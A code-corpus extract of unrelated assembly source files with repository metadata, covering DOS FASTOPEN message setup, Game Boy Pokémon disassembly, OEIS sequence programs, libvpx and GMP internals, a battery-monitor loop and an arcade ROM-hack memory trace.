PUBLIC SYSLOADMSG ; ;AN000;
PUBLIC SYSDISPMSG ; ;AN000;
MSG_SERVICES <FASTOPEN.CLA,FASTOPEN.CL1,FASTOPEN.CL2> ;
;DEFAULT=CHECK DOS VERSION
;DEFAULT=NEARmsg
;DEFAULT=INPUTmsg
;DEFAULT=NUMmsg
;DEFAULT=NO TIMEmsg
;DEFAULT=NO DATEmsg
.xlist
.xcref
MSG_SERVICES <LOADmsg,GETmsg,DISPLAYmsg,INPUTmsg,CHARmsg,NUMmsg> ;AN000;
include msgdcl.inc
.cref
.list
; = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = =
CSEG_INIT ENDS ;
END ; ;AN000;
| 30.375 | 77 | 0.610136 |
cae7415f3d058cc4b910ae4d48d0ba2fdc8ca225 | 559 | asm | Assembly | src/test.asm | phiwen96/asm_linux | a772c02d3c4623042882f8b0a935bc10fd85af08 | [
"Apache-2.0"
] | null | null | null | src/test.asm | phiwen96/asm_linux | a772c02d3c4623042882f8b0a935bc10fd85af08 | [
"Apache-2.0"
] | null | null | null | src/test.asm | phiwen96/asm_linux | a772c02d3c4623042882f8b0a935bc10fd85af08 | [
"Apache-2.0"
] | null | null | null | %include "macros.asm"
global _start
section .data
message: define_byte "Ahe{jda", 10
length: equ $-message
section .text
%assign CAP 'a' - 'A'
_start:
mov preserved (0), message
mov preserved (1), length
mov preserved (2), length
loop:
cmp byte [preserved (0)], 'a'
jb end_loop
cmp byte [preserved (0)], 'z'
ja end_loop
sub byte [preserved (0)], CAP
; cmp byte [preserved (message)], 'a'
end_loop:
inc preserved (0)
dec preserved (2)
cout (message, length)
jnz loop
jmp end
mov rbx, 999
end:
exit
make_upper:
| 9.316667 | 38 | 0.645796 |
2b3c1ef8d3b0c1559a4551cdb510a1f9a13b57ff | 1,446 | asm | Assembly | hookflash-core/webRTC/webRTC_ios/third_party/libvpx/asm_enc_offsets.asm | ilin-in/OP | bf3e87d90008e2a4106ee70360fbe15b0d694e77 | [
"Unlicense"
] | 1 | 2020-02-19T09:55:55.000Z | 2020-02-19T09:55:55.000Z | hookflash-core/webRTC/webRTC_ios/third_party/libvpx/asm_enc_offsets.asm | ilin-in/OP | bf3e87d90008e2a4106ee70360fbe15b0d694e77 | [
"Unlicense"
] | null | null | null | hookflash-core/webRTC/webRTC_ios/third_party/libvpx/asm_enc_offsets.asm | ilin-in/OP | bf3e87d90008e2a4106ee70360fbe15b0d694e77 | [
"Unlicense"
] | null | null | null | @ This file was created from a .asm file
@ using the ads2gas_apple.pl script.
.set WIDE_REFERENCE, 0
.set ARCHITECTURE, 5
.set DO1STROUNDING, 0
.set vp8_block_coeff , 4
.set vp8_block_zbin , 20
.set vp8_block_round , 28
.set vp8_block_quant , 8
.set vp8_block_quant_fast , 12
.set vp8_block_zbin_extra , 32
.set vp8_block_zrun_zbin_boost , 24
.set vp8_block_quant_shift , 16
.set vp8_blockd_qcoeff , 0
.set vp8_blockd_dequant , 12
.set vp8_blockd_dqcoeff , 4
.set vp8_blockd_eob , 20
.set vp8_block_base_src , 36
.set vp8_block_src , 40
.set vp8_block_src_diff , 0
.set vp8_block_src_stride , 44
.set vp8_blockd_predictor , 8
.set vp8_writer_lowvalue , 0
.set vp8_writer_range , 4
.set vp8_writer_count , 8
.set vp8_writer_pos , 12
.set vp8_writer_buffer , 16
.set vp8_writer_buffer_end , 20
.set vp8_writer_error , 24
.set tokenextra_token , 6
.set tokenextra_extra , 4
.set tokenextra_context_tree , 0
.set tokenextra_skip_eob_node , 7
.set TOKENEXTRA_SZ , 8
.set vp8_extra_bit_struct_sz , 16
.set vp8_token_value , 0
.set vp8_token_len , 4
.set vp8_extra_bit_struct_tree , 0
.set vp8_extra_bit_struct_prob , 4
.set vp8_extra_bit_struct_len , 8
.set vp8_extra_bit_struct_base_val , 12
.set vp8_comp_tplist , 133452
.set vp8_comp_common , 74000
.set vp8_comp_bc , 79024
.set vp8_writer_sz , 36
.set tokenlist_start , 0
.set tokenlist_stop , 4
.set TOKENLIST_SZ , 8
.set vp8_common_mb_rows , 2124
| 28.352941 | 40 | 0.760028 |
7c15d4bb7f8f2832e6b90fb71871bd261a650926 | 763 | asm | Assembly | engine/items/itemfinder.asm | adhi-thirumala/EvoYellow | 6fb1b1d6a1fa84b02e2d982f270887f6c63cdf4c | [
"Unlicense"
] | 16 | 2018-08-28T21:47:01.000Z | 2022-02-20T20:29:59.000Z | engine/items/itemfinder.asm | JStar-debug2020/pokemon-rby-dx | c2fdd8145d96683addbd8d9075f946a68d1527a1 | [
"MIT"
] | 7 | 2020-07-16T10:48:52.000Z | 2021-01-28T18:32:02.000Z | engine/items/itemfinder.asm | JStar-debug2020/pokemon-rby-dx | c2fdd8145d96683addbd8d9075f946a68d1527a1 | [
"MIT"
] | 2 | 2019-12-09T19:46:02.000Z | 2020-12-05T21:36:30.000Z | HiddenItemNear:
ld hl, HiddenItemCoords
ld b, 0
.loop
ld de, 3
ld a, [wCurMap]
call IsInRestOfArray
ret nc ; return if current map has no hidden items
push bc
push hl
ld hl, wObtainedHiddenItemsFlags
ld c, b
ld b, FLAG_TEST
predef FlagActionPredef
ld a, c
pop hl
pop bc
inc b
and a
inc hl
ld d, [hl]
inc hl
ld e, [hl]
inc hl
jr nz, .loop ; if the item has already been obtained
; check if the item is within 4-5 tiles (depending on the direction of item)
ld a, [wYCoord]
call Sub5ClampTo0
cp d
jr nc, .loop
ld a, [wYCoord]
add 4
cp d
jr c, .loop
ld a, [wXCoord]
call Sub5ClampTo0
cp e
jr nc, .loop
ld a, [wXCoord]
add 5
cp e
jr c, .loop
scf
ret
Sub5ClampTo0:
; subtract 5 but clamp to 0
sub 5
cp $f0
ret c
xor a
ret
| 14.396226 | 76 | 0.677588 |
e1d537ae86f0ed6dd6e68ef7e2e83da99fdcb3ca | 192 | asm | Assembly | libsrc/_DEVELOPMENT/math/float/math16/lm16/c/sdcc/___schar2h.asm | Frodevan/z88dk | f27af9fe840ff995c63c80a73673ba7ee33fffac | [
"ClArtistic"
] | null | null | null | libsrc/_DEVELOPMENT/math/float/math16/lm16/c/sdcc/___schar2h.asm | Frodevan/z88dk | f27af9fe840ff995c63c80a73673ba7ee33fffac | [
"ClArtistic"
] | null | null | null | libsrc/_DEVELOPMENT/math/float/math16/lm16/c/sdcc/___schar2h.asm | Frodevan/z88dk | f27af9fe840ff995c63c80a73673ba7ee33fffac | [
"ClArtistic"
] | null | null | null |
SECTION code_fp_math16
PUBLIC ___schar2h
PUBLIC _f16_f16_i8
EXTERN cm16_sdcc___schar2h
defc ___schar2h = cm16_sdcc___schar2h
defc _f16_f16_i8 = cm16_sdcc___schar2h
| 17.454545 | 42 | 0.760417 |
6d22839a54c3d53099f54c2226969d9aa277c1e7 | 441 | asm | Assembly | oeis/257/A257934.asm | neoneye/loda-programs | 84790877f8e6c2e821b183d2e334d612045d29c0 | [
"Apache-2.0"
] | 11 | 2021-08-22T19:44:55.000Z | 2022-03-20T16:47:57.000Z | oeis/257/A257934.asm | neoneye/loda-programs | 84790877f8e6c2e821b183d2e334d612045d29c0 | [
"Apache-2.0"
] | 9 | 2021-08-29T13:15:54.000Z | 2022-03-09T19:52:31.000Z | oeis/257/A257934.asm | neoneye/loda-programs | 84790877f8e6c2e821b183d2e334d612045d29c0 | [
"Apache-2.0"
] | 3 | 2021-08-22T20:56:47.000Z | 2021-09-29T06:26:12.000Z | ; A257934: Expansion of 1/(1-x-x^2-x^3-x^4+x^5+x^6+x^7).
; Submitted by Jon Maiga
; 1,1,2,4,8,14,26,48,89,163,300,552,1016,1868,3436,6320,11625,21381,39326,72332,133040,244698,450070,827808,1522577,2800455,5150840,9473872,17425168,32049880,58948920,108423968,199422769,366795657,674642394,1240860820,2282298872,4197802086,7720961778
add $0,1
seq $0,288465 ; a(n) = 2*a(n-1) - a(n-4), where a(0) = 2, a(1) = 4, a(2) = 6, a(3) = 10.
div $0,4
| 55.125 | 250 | 0.70068 |
f69111f7906652669dbe147b6bf158f216296367 | 746 | asm | Assembly | programs/oeis/003/A003013.asm | karttu/loda | 9c3b0fc57b810302220c044a9d17db733c76a598 | [
"Apache-2.0"
] | null | null | null | programs/oeis/003/A003013.asm | karttu/loda | 9c3b0fc57b810302220c044a9d17db733c76a598 | [
"Apache-2.0"
] | null | null | null | programs/oeis/003/A003013.asm | karttu/loda | 9c3b0fc57b810302220c044a9d17db733c76a598 | [
"Apache-2.0"
] | null | null | null | ; A003013: E.g.f. 1+x*exp(x)+x^2*exp(2*x).
; 1,1,4,15,52,165,486,1351,3592,9225,23050,56331,135180,319501,745486,1720335,3932176,8912913,20054034,44826643,99614740,220200981,484442134,1061158935,2315255832,5033164825,10905190426,23555211291,50734301212,108984795165,233538846750,499289948191,1065151889440,2267742732321,4818953306146,10222022164515,21646635171876,45767171506213,96619584290854,203684529045543,428809534832680,901599534776361,1893359023030314,3971435999526955,8321103999008812
mov $6,$0
sub $0,1
mov $2,$0
mov $8,$0
lpb $2,1
mov $4,10
lpb $4,1
sub $4,$4
mul $6,$8
lpe
mov $0,2
lpb $6,1
mul $0,2
add $0,$6
add $0,2
add $4,2
sub $6,$4
lpe
clr $2,4
lpe
mov $1,$0
sub $1,1
div $1,2
add $1,1
| 26.642857 | 449 | 0.725201 |
987f68f21a77182bdb1fd6537b570218bd891f45 | 2,474 | asm | Assembly | asm/jo_r_loop.asm | JozanLeClerc/lowbat-bsd | 6d0fa66f918304bf828382b9f5361357494e4bd9 | [
"BSD-3-Clause"
] | 1 | 2020-04-20T16:22:15.000Z | 2020-04-20T16:22:15.000Z | asm/jo_r_loop.asm | JozanLeClerc/lowbat-bsd | 6d0fa66f918304bf828382b9f5361357494e4bd9 | [
"BSD-3-Clause"
] | null | null | null | asm/jo_r_loop.asm | JozanLeClerc/lowbat-bsd | 6d0fa66f918304bf828382b9f5361357494e4bd9 | [
"BSD-3-Clause"
] | null | null | null | ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;; ;;
;; File : jo_r_loop.asm /_________/ ;;
;; Author : Joe | ;;
;; Date : 04/2020 | ;;
;; Info : The main loop | ;;
;; / | ;;
;; \ / ;;
;; \_____/ ;;
;; ;;
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;; jo_r_loop(speak (0-1), *argv[])
;; -------------------------------
section .text
extern sleep
extern jo_f_percent
extern jo_f_status
extern jo_n_speak
extern jo_n_notify
extern jo_r_cpyhead
global jo_r_loop
jo_r_loop:
push rbp
push rbx
mov rbx, rsi
mov ebp, edi
jmp bigloop
bigloop:
call jo_f_status ; check the status
cmp rax, 0xfe ; in case we couldn't read
je err
cmp rax, 0x3
je sleepalot
call jo_f_percent ; check the capacity
cmp rax, 0xfe ; in case we couldn't read
je err
cmp rax, 0xf
jge sleepalot
mov rdi, rax
call jo_r_cpyhead
mov rdi, rax
mov rsi, n_body ; notification body
mov rdx, 0x3 ; ciritcal notification
mov rcx, 0x3a98 ; 15000ms notification timeout
call jo_n_notify ; jo_n_notify(head: rdi, body: rsi,
; urgency: rdx, timeout: rcx)
speak:
cmp ebp, 0x1
jne sleepabit
mov rdi, [rbx + 0x8 * 0x2]
call jo_n_speak
sleepabit:
mov rdi, 0x14
call sleep ; sleep 20 seconds before next check/notification
jmp bigloop
sleepalot:
mov rdi, 0xf0
call sleep ; sleep 240s (4m) if it's fine
jmp bigloop
return:
xor rax, rax
retq
err:
mov rdi, 0x2 ; stderr
lea rsi, [rel errmsg]
mov rdx, errlen
mov rax, 0x4
syscall ; write error message on stderr
xor rax, rax
retq
section .data
n_body: db "Please plug in computer", 0x0
fmt: db "%s", 0xa, 0x0
errmsg: db "Failed to read battery informations", 0xa, 0x0
errlen: equ $ - errmsg
| 28.767442 | 90 | 0.423605 |
e77094df1793227d550e0430b349f162c73b9fb0 | 702 | asm | Assembly | oeis/188/A188341.asm | neoneye/loda-programs | 84790877f8e6c2e821b183d2e334d612045d29c0 | [
"Apache-2.0"
] | 11 | 2021-08-22T19:44:55.000Z | 2022-03-20T16:47:57.000Z | oeis/188/A188341.asm | neoneye/loda-programs | 84790877f8e6c2e821b183d2e334d612045d29c0 | [
"Apache-2.0"
] | 9 | 2021-08-29T13:15:54.000Z | 2022-03-09T19:52:31.000Z | oeis/188/A188341.asm | neoneye/loda-programs | 84790877f8e6c2e821b183d2e334d612045d29c0 | [
"Apache-2.0"
] | 3 | 2021-08-22T20:56:47.000Z | 2021-09-29T06:26:12.000Z | ; A188341: Numbers having no 0's and not more than one 1 in their representation in base 3.
; Submitted by Jamie Morken(s1)
; 1,2,5,7,8,17,23,25,26,53,71,77,79,80,161,215,233,239,241,242,485,647,701,719,725,727,728,1457,1943,2105,2159,2177,2183,2185,2186,4373,5831,6317,6479,6533,6551,6557,6559,6560,13121,17495,18953,19439,19601,19655,19673,19679,19681,19682,39365,52487,56861,58319,58805,58967,59021,59039,59045,59047,59048,118097,157463,170585,174959,176417,176903,177065,177119,177137,177143,177145,177146,354293,472391,511757,524879,529253,530711,531197,531359,531413,531431,531437,531439,531440,1062881,1417175,1535273
add $0,1
seq $0,44966 ; Numbers having no 0's and one 1 in base 3.
div $0,3
| 87.75 | 500 | 0.783476 |
2e2e914aad3e2454423ce232e78c0afe948fdb76 | 110 | asm | Assembly | libsrc/_DEVELOPMENT/compress/zx1/8080/asm_dzx1_standard.asm | ahjelm/z88dk | c4de367f39a76b41f6390ceeab77737e148178fa | [
"ClArtistic"
] | 640 | 2017-01-14T23:33:45.000Z | 2022-03-30T11:28:42.000Z | libsrc/_DEVELOPMENT/compress/zx1/8080/asm_dzx1_standard.asm | C-Chads/z88dk | a4141a8e51205c6414b4ae3263b633c4265778e6 | [
"ClArtistic"
] | 1,600 | 2017-01-15T16:12:02.000Z | 2022-03-31T12:11:12.000Z | libsrc/_DEVELOPMENT/compress/zx1/8080/asm_dzx1_standard.asm | C-Chads/z88dk | a4141a8e51205c6414b4ae3263b633c4265778e6 | [
"ClArtistic"
] | 215 | 2017-01-17T10:43:03.000Z | 2022-03-23T17:25:02.000Z |
SECTION code_lib
SECTION code_compress_zx1
PUBLIC asm_dzx1_standard
asm_dzx1_standard:
INCLUDE "dzx1.asm"
| 11 | 25 | 0.845455 |
8d50eec9308b7a4e033b0a34fbf4c127a905ca1b | 1,718 | asm | Assembly | wof/lcs/enemy/C0.asm | zengfr/arcade_game_romhacking_sourcecode_top_secret_data | a4a0c86c200241494b3f1834cd0aef8dc02f7683 | [
"Apache-2.0"
] | 6 | 2020-10-14T15:29:10.000Z | 2022-02-12T18:58:54.000Z | wof/lcs/enemy/C0.asm | zengfr/arcade_game_romhacking_sourcecode_top_secret_data | a4a0c86c200241494b3f1834cd0aef8dc02f7683 | [
"Apache-2.0"
] | null | null | null | wof/lcs/enemy/C0.asm | zengfr/arcade_game_romhacking_sourcecode_top_secret_data | a4a0c86c200241494b3f1834cd0aef8dc02f7683 | [
"Apache-2.0"
] | 1 | 2020-12-17T08:59:10.000Z | 2020-12-17T08:59:10.000Z | copyright zengfr site:http://github.com/zengfr/romhack
001590 lea ($20,A0), A0
00195A clr.b ($c0,A1) [enemy+16]
00195E clr.b ($c2,A1) [enemy+C0]
004100 rts [enemy+C0]
0122AC move.l (A2)+, (A3)+ [enemy+BC, enemy+BE]
0122AE move.l (A2)+, (A3)+ [enemy+C0, enemy+C2]
01A75E dbra D4, $1a75c
025544 move.w ($6,PC,D0.w), D1 [enemy+C0]
0255A2 adda.w (A4,D0.w), A4 [enemy+C0]
0268EC move.w ($6,PC,D0.w), D1 [enemy+C0]
026A78 adda.w (A4,D0.w), A4 [enemy+C0]
026BC0 move.b ($c0,A0), D0 [enemy+2B]
026BC4 movea.l #$82a08, A4 [enemy+C0]
029346 move.w ($6,PC,D0.w), D1 [enemy+C0]
0293A2 adda.w (A4,D0.w), A4 [enemy+C0]
02944A move.b ($c0,A0), D0 [enemy+2B]
02944E movea.l #$8714c, A4 [enemy+C0]
029472 move.b ($c0,A0), D0 [enemy+2B]
029476 movea.l #$8714c, A4 [enemy+C0]
02A714 move.w ($6,PC,D0.w), D1 [enemy+C0]
02A770 adda.w (A4,D0.w), A4 [enemy+C0]
02B934 move.w ($6,PC,D0.w), D1 [enemy+C0]
02B990 adda.w (A4,D0.w), A4 [enemy+C0]
0329C6 bne $3294a [enemy+C0]
032AFA move.w ($6,PC,D0.w), D1 [enemy+C0]
032B66 adda.w (A4,D0.w), A4
032C3A move.b ($c0,A0), D0 [enemy+64, enemy+66]
032C3E movea.l #$85e66, A4 [enemy+C0]
032ED0 move.b #$e, ($c0,A0) [enemy+2B]
032ED6 movea.l #$8611e, A4 [enemy+C0]
036800 bne $3677e [enemy+C0]
03690A move.w ($6,PC,D0.w), D1 [enemy+C0]
03696C adda.w (A4,D0.w), A4
0369CA rts [enemy+2B]
0369D6 subq.b #1, ($a7,A0) [enemy+C0]
0369EE move.b ($c0,A0), D0 [enemy+7A]
0369F2 add.w D0, D0 [enemy+C0]
036A0A adda.w (A4,D0.w), A4 [enemy+C0]
046A06 move.w ($6,PC,D0.w), D1 [enemy+C0]
046B02 adda.w (A4,D0.w), A4 [enemy+C0]
046B6E adda.w (A4,D0.w), A4 [enemy+C0]
copyright zengfr site:http://github.com/zengfr/romhack
| 37.347826 | 54 | 0.619325 |
8da4a744ab61f66fc478726f90afd9a5d4785f39 | 1,536 | asm | Assembly | Appl/FileMgrs2/CommonDesktop/CTree/ctreeManager.asm | steakknife/pcgeos | 95edd7fad36df400aba9bab1d56e154fc126044a | [
"Apache-2.0"
] | 504 | 2018-11-18T03:35:53.000Z | 2022-03-29T01:02:51.000Z | Appl/FileMgrs2/CommonDesktop/CTree/ctreeManager.asm | steakknife/pcgeos | 95edd7fad36df400aba9bab1d56e154fc126044a | [
"Apache-2.0"
] | 96 | 2018-11-19T21:06:50.000Z | 2022-03-06T10:26:48.000Z | Appl/FileMgrs2/CommonDesktop/CTree/ctreeManager.asm | steakknife/pcgeos | 95edd7fad36df400aba9bab1d56e154fc126044a | [
"Apache-2.0"
] | 73 | 2018-11-19T20:46:53.000Z | 2022-03-29T00:59:26.000Z | COMMENT @----------------------------------------------------------------------
Copyright (c) GeoWorks 1988 -- All Rights Reserved
PROJECT: PC GEOS
MODULE: CommonDesktop/CTree
FILE: ctreeManager.asm
REVISION HISTORY:
Name Date Description
---- ---- -----------
brianc 8/89 Initial version
DESCRIPTION:
This file assembles the CTree/ module of the desktop.
$Id: ctreeManager.asm,v 1.1 97/04/04 15:00:58 newdeal Exp $
------------------------------------------------------------------------------@
_CTree = 1
;-----------------------------------------------------------------------------
; Include common definitions
;-----------------------------------------------------------------------------
include cdesktopGeode.def
;-----------------------------------------------------------------------------
; Include cdefinitions for this module
;-----------------------------------------------------------------------------
if _TREE_MENU
include drive.def ; for DriveGetStatus, etc.
include fileEnum.def ; for FileEnum stuff
include vm.def ; for transfer stuff
include disk.def
include driver.def
include ctreeConstant.def
include ctreeVariable.def
;-----------------------------------------------------------------------------
; Include code
;-----------------------------------------------------------------------------
include ctreeClass.asm
include ctreeScan.asm
include ctreeOutline.asm
include ctreeUtils.asm
endif ; if _TREE_MENU
end
| 25.6 | 80 | 0.415365 |
23ab3de1dbb7f7cc5a09e99266751038c190887e | 3,337 | asm | Assembly | libtool/src/gmp-6.1.2/mpn/sparc32/udiv.asm | kroggen/aergo | 05af317eaa1b62b21dc0144ef74a9e7acb14fb87 | [
"MIT"
] | 1,602 | 2015-01-06T11:26:31.000Z | 2022-03-30T06:17:21.000Z | libtool/src/gmp-6.1.2/mpn/sparc32/udiv.asm | kroggen/aergo | 05af317eaa1b62b21dc0144ef74a9e7acb14fb87 | [
"MIT"
] | 11,789 | 2015-01-05T04:50:15.000Z | 2022-03-31T23:39:19.000Z | libtool/src/gmp-6.1.2/mpn/sparc32/udiv.asm | kroggen/aergo | 05af317eaa1b62b21dc0144ef74a9e7acb14fb87 | [
"MIT"
] | 498 | 2015-01-08T18:58:18.000Z | 2022-03-20T15:37:45.000Z | dnl SPARC v7 __udiv_qrnnd division support, used from longlong.h.
dnl This is for v7 CPUs with a floating-point unit.
dnl Copyright 1993, 1994, 1996, 2000 Free Software Foundation, Inc.
dnl This file is part of the GNU MP Library.
dnl
dnl The GNU MP Library is free software; you can redistribute it and/or modify
dnl it under the terms of either:
dnl
dnl * the GNU Lesser General Public License as published by the Free
dnl Software Foundation; either version 3 of the License, or (at your
dnl option) any later version.
dnl
dnl or
dnl
dnl * the GNU General Public License as published by the Free Software
dnl Foundation; either version 2 of the License, or (at your option) any
dnl later version.
dnl
dnl or both in parallel, as here.
dnl
dnl The GNU MP Library is distributed in the hope that it will be useful, but
dnl WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY
dnl or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License
dnl for more details.
dnl
dnl You should have received copies of the GNU General Public License and the
dnl GNU Lesser General Public License along with the GNU MP Library. If not,
dnl see https://www.gnu.org/licenses/.
include(`../config.m4')
C INPUT PARAMETERS
C rem_ptr i0
C n1 i1
C n0 i2
C d i3
ASM_START()
ifdef(`PIC',
` TEXT
L(getpc):
retl
nop')
TEXT
ALIGN(8)
L(C0): .double 0r4294967296
L(C1): .double 0r2147483648
PROLOGUE(mpn_udiv_qrnnd)
save %sp,-104,%sp
st %i1,[%fp-8]
ld [%fp-8],%f10
ifdef(`PIC',
`L(pc): call L(getpc) C put address of this insn in %o7
ldd [%o7+L(C0)-L(pc)],%f8',
` sethi %hi(L(C0)),%o7
ldd [%o7+%lo(L(C0))],%f8')
fitod %f10,%f4
cmp %i1,0
bge L(248)
mov %i0,%i5
faddd %f4,%f8,%f4
L(248):
st %i2,[%fp-8]
ld [%fp-8],%f10
fmuld %f4,%f8,%f6
cmp %i2,0
bge L(249)
fitod %f10,%f2
faddd %f2,%f8,%f2
L(249):
st %i3,[%fp-8]
faddd %f6,%f2,%f2
ld [%fp-8],%f10
cmp %i3,0
bge L(250)
fitod %f10,%f4
faddd %f4,%f8,%f4
L(250):
fdivd %f2,%f4,%f2
ifdef(`PIC',
` ldd [%o7+L(C1)-L(pc)],%f4',
` sethi %hi(L(C1)),%o7
ldd [%o7+%lo(L(C1))],%f4')
fcmped %f2,%f4
nop
fbge,a L(251)
fsubd %f2,%f4,%f2
fdtoi %f2,%f2
st %f2,[%fp-8]
b L(252)
ld [%fp-8],%i4
L(251):
fdtoi %f2,%f2
st %f2,[%fp-8]
ld [%fp-8],%i4
sethi %hi(-2147483648),%g2
xor %i4,%g2,%i4
L(252):
wr %g0,%i4,%y
sra %i3,31,%g2
and %i4,%g2,%g2
andcc %g0,0,%g1
mulscc %g1,%i3,%g1
mulscc %g1,%i3,%g1
mulscc %g1,%i3,%g1
mulscc %g1,%i3,%g1
mulscc %g1,%i3,%g1
mulscc %g1,%i3,%g1
mulscc %g1,%i3,%g1
mulscc %g1,%i3,%g1
mulscc %g1,%i3,%g1
mulscc %g1,%i3,%g1
mulscc %g1,%i3,%g1
mulscc %g1,%i3,%g1
mulscc %g1,%i3,%g1
mulscc %g1,%i3,%g1
mulscc %g1,%i3,%g1
mulscc %g1,%i3,%g1
mulscc %g1,%i3,%g1
mulscc %g1,%i3,%g1
mulscc %g1,%i3,%g1
mulscc %g1,%i3,%g1
mulscc %g1,%i3,%g1
mulscc %g1,%i3,%g1
mulscc %g1,%i3,%g1
mulscc %g1,%i3,%g1
mulscc %g1,%i3,%g1
mulscc %g1,%i3,%g1
mulscc %g1,%i3,%g1
mulscc %g1,%i3,%g1
mulscc %g1,%i3,%g1
mulscc %g1,%i3,%g1
mulscc %g1,%i3,%g1
mulscc %g1,%i3,%g1
mulscc %g1,0,%g1
add %g1,%g2,%i0
rd %y,%g3
subcc %i2,%g3,%o7
subxcc %i1,%i0,%g0
be L(253)
cmp %o7,%i3
add %i4,-1,%i0
add %o7,%i3,%o7
st %o7,[%i5]
ret
restore
L(253):
blu L(246)
mov %i4,%i0
add %i4,1,%i0
sub %o7,%i3,%o7
L(246):
st %o7,[%i5]
ret
restore
EPILOGUE(mpn_udiv_qrnnd)
| 19.863095 | 79 | 0.64549 |
53bb85289c0e3efe87600f4cf7ce04e60d43aa04 | 415 | asm | Assembly | oeis/232/A232096.asm | neoneye/loda-programs | 84790877f8e6c2e821b183d2e334d612045d29c0 | [
"Apache-2.0"
] | null | null | null | oeis/232/A232096.asm | neoneye/loda-programs | 84790877f8e6c2e821b183d2e334d612045d29c0 | [
"Apache-2.0"
] | null | null | null | oeis/232/A232096.asm | neoneye/loda-programs | 84790877f8e6c2e821b183d2e334d612045d29c0 | [
"Apache-2.0"
] | null | null | null | ; A232096: a(n) = largest m such that m! divides 1+2+...+n; a(n) = A055881(A000217(n)).
; Submitted by Simon Strandgaard
; 1,1,3,2,1,1,2,3,1,1,3,3,1,1,5,2,1,1,2,3,1,1,3,3,1,1,3,2,1,1,2,4,1,1,3,3,1,1,3,2,1,1,2,3,1,1,4,4,1,1,3,2,1,1,2,3,1,1,3,3,1,1,4,2,1,1,2,3,1,1,3,3,1,1,3,2,1,1,2,5,1,1,3,3,1,1,3,2,1,1,2,3,1,1,5,4,1,1,3,2
add $0,2
bin $0,2
mov $1,2
lpb $0
mul $0,2
add $1,2
dif $0,$1
lpe
mov $0,$1
div $0,2
| 27.666667 | 201 | 0.546988 |
c749e8dfd5d97be5d683eba4dd554c195564c35e | 558 | asm | Assembly | oeis/097/A097697.asm | neoneye/loda-programs | 84790877f8e6c2e821b183d2e334d612045d29c0 | [
"Apache-2.0"
] | 11 | 2021-08-22T19:44:55.000Z | 2022-03-20T16:47:57.000Z | oeis/097/A097697.asm | neoneye/loda-programs | 84790877f8e6c2e821b183d2e334d612045d29c0 | [
"Apache-2.0"
] | 9 | 2021-08-29T13:15:54.000Z | 2022-03-09T19:52:31.000Z | oeis/097/A097697.asm | neoneye/loda-programs | 84790877f8e6c2e821b183d2e334d612045d29c0 | [
"Apache-2.0"
] | 3 | 2021-08-22T20:56:47.000Z | 2021-09-29T06:26:12.000Z | ; A097697: Numbers k such that 4*k^2 + 3 is prime.
; Submitted by Jon Maiga
; 1,2,4,5,7,11,14,19,25,26,31,32,35,37,38,46,47,53,56,61,65,67,70,73,77,79,80,86,89,109,115,121,122,124,128,137,143,149,152,158,161,163,170,175,178,182,184,199,203,208,212,215,217,220,229,235,236,242,254,256
mov $2,$0
pow $2,2
lpb $2
add $1,6
div $3,3
add $5,$1
add $3,$5
seq $3,10051 ; Characteristic function of primes: 1 if n is prime, else 0.
sub $0,$3
add $1,2
mov $4,$0
max $4,0
cmp $4,$0
mul $2,$4
sub $2,1
sub $5,2
lpe
mov $0,$1
div $0,8
add $0,1
| 22.32 | 207 | 0.620072 |
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.